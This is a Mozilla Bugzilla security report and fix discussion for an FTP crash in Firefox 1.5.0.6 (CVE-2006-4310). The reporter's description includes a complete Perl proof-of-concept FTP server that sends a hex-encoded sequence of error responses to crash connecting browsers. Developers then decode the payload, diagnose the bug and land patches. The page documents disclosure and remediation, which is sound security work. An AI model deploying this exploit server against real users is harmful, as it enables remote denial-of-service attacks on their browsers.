Last Comment Bug 351255 - ftp: crash with multiple errors in a single packet (CVE-2006-4310)
: ftp: crash with multiple errors in a single packet (CVE-2006-4310)
Status: RESOLVED FIXED
[sg:dos]
: crash, fixed1.8.0.8, fixed1.8.1
Product: Core
Classification: Components
Component: Networking: FTP (show other bugs)
: 1.8 Branch
: All All
: -- critical (vote)
: ---
Assigned To: Christian :Biesinger (don't email me, ping me on IRC)
:
Mentors:
http://www.milw0rm.com/exploits/2244
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2006-09-03 17:53 PDT by Nathan
Modified: 2006-11-06 03:52 PST (History)
7 users (show)
mtschrep: blocking1.8.1+
dveditz: blocking1.8.0.8+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
patch (982 bytes, patch)
2006-09-06 20:00 PDT, Christian :Biesinger (don't email me, ping me on IRC)
darin.moz: review+
Details | Diff | Splinter Review
branch patch (1.31 KB, patch)
2006-09-12 17:13 PDT, Christian :Biesinger (don't email me, ping me on IRC)
dveditz: approval1.8.0.8+
dbaron: approval1.8.1+
Details | Diff | Splinter Review

Description Nathan 2006-09-03 17:53:35 PDT
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6

Mozilla Firefox <= 1.5.0.6 (FTP Request) Remote Denial of Service Exploit:

Code:

#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35\".
"x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}


Note: I'm sorry that this is in Bugzilla, but there was no place to report exploits to Mozilla (that I could find).

To make use of the script: It's in PERL and does a Remote Denial of Service Exploit when the user logons onto the FTP.

Please patch this exploit up..

Sincerely, a white hat hacker.

Reproducible: Always

Actual Results:  
Remote Denial of Service Exploit

Expected Results:  
Prevented a Remote Denial of Service
Comment 1 Benjamin Smedberg AWAY UNTIL 2-AUG-2016 [:bsmedberg] 2006-09-03 19:08:33 PDT
Security bugs belong in bugzilla, you did the right thing (email to security@mozilla.org works also): http://www.mozilla.org/security/#For_Developers

The testcase causes a crash for me, TB22863010Z @nsFTPChannel::GetFTPEventSink
Comment 2 Daniel Veditz [:dveditz] 2006-09-03 23:30:28 PDT
That's not a happy talkback. It seems awfully short, and worse, if you can trust the crash location you really shouldn't get an access violation accessing a member variable. Has the channel itself been deleted by that point?

Darin: do you have time to help us out here?

Looks like this has been reported on Bugtraq and milw0rm, the confidential flag can be removed (but did get our attention).

http://www.securityfocus.com/archive/1/archive/1/444064/100/0/
http://www.milw0rm.com/exploits/2244
Comment 3 Daniel Veditz [:dveditz] 2006-09-03 23:34:01 PDT
I don't know that this is really a FF2 blocker if it's just a DOS triggered by a malicious FTP site (though it might be worse), but I'm nominating it because there's no way to nominate for "2.0.0.1". Please do not minus this bug for 1.8.1 until you provide a way to nominate for a follow-up release, otherwise important bugs get lost.
Comment 4 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 18:36:49 PDT
the mChannel of the nsFtpState is null...
Comment 5 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 18:38:26 PDT
(I can't reproduce this on trunk, fwiw, only on branch)
Comment 6 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 19:15:23 PDT
the de-obfuscated payload is:
220 Z
331 Z
500 DoS
500 Z

At the time of the crash, mResponseMsg is 500 Z
Comment 7 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 19:30:13 PDT
hm... so after the error to login we called StopProcessing() which killed various internal state, but when we get the OnDataAvailable callback we try accessing various members again...
Comment 8 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 19:46:49 PDT
trunk doesn't crash because it never nulls out mChannel in nsFTPState
Comment 9 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 20:00:23 PDT
Created attachment 237056 [details] [diff] [review]
patch

this also works as a trunk patch (with -F 7), and I think it's good there too even though we don't crash.

This should also be a safe branch patch, because Process() only does any work if mKeepRunning is true anyway.
Comment 10 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-06 22:05:47 PDT
(also, trunk doesn't have to null out mChannel, because nsBaseChannel drops the reference to the pump (which owns the stream) in its OnStopRequest)
Comment 11 Darin Fisher 2006-09-07 20:04:40 PDT
Comment on attachment 237056 [details] [diff] [review]
patch

>Index: nsFtpConnectionThread.cpp
...
>+
>+        // There might have been an error in the processing of this line
>+        // Don't continue processing lines in that case
>+        if (!mKeepRunning)
>+            break;
>     }

This fix makes sense, but I think it might be nice to move it to the
top of the loop as a pre-condition for entering the loop.
Comment 12 Darin Fisher 2006-09-12 10:31:12 PDT
Comment on attachment 237056 [details] [diff] [review]
patch

r=me but please consider moving to the top of the loop.
Comment 13 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-12 17:12:12 PDT
checked in on trunk with mKeepAlive in the while() condition
Comment 14 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-12 17:13:53 PDT
Created attachment 238100 [details] [diff] [review]
branch patch

Low risk patch to fix a crash. (this was reviewed by darin, this attachment is the version with his comment addressed)
Comment 15 David Baron :dbaron: ⌚️UTC+2 (mostly busy through August 4; review requests must explain patch) 2006-09-12 17:31:19 PDT
Comment on attachment 238100 [details] [diff] [review]
branch patch

a=dbaron on behalf of drivers.  Please check in to MOZILLA_1_8_BRANCH and add the fixed1.8.1 keyword once you have done so.
Comment 16 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-13 11:38:20 PDT
MOZILLA_1_8_BRANCH

Checking in nsFtpConnectionThread.cpp;
/cvsroot/mozilla/netwerk/protocol/ftp/src/nsFtpConnectionThread.cpp,v  <--  nsFtpConnectionThread.cpp
new revision: 1.296.8.3; previous revision: 1.296.8.2
done
Comment 17 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-13 11:45:57 PDT
Comment on attachment 238100 [details] [diff] [review]
branch patch

fixes a crash in FTP code. the patch is also on trunk and 1_8_BRANCH, but I think it'd be good to fix this crash on 1.8.0.x too. It should be a low-risk patch.
Comment 18 Daniel Veditz [:dveditz] 2006-09-19 15:54:38 PDT
Restoring lost blocking flag
Comment 19 Daniel Veditz [:dveditz] 2006-09-26 14:51:25 PDT
Comment on attachment 238100 [details] [diff] [review]
branch patch

approved for 1.8.0 branch, a=dveditz for drivers
Comment 20 Christian :Biesinger (don't email me, ping me on IRC) 2006-09-26 18:45:27 PDT
MOZILLA_1_8_0_BRANCH:

Checking in nsFtpConnectionThread.cpp;
/cvsroot/mozilla/netwerk/protocol/ftp/src/nsFtpConnectionThread.cpp,v  <--  nsFtpConnectionThread.cpp
new revision: 1.296.8.1.2.1; previous revision: 1.296.8.1
done

Note You need to log in before you can comment on or make changes to this bug.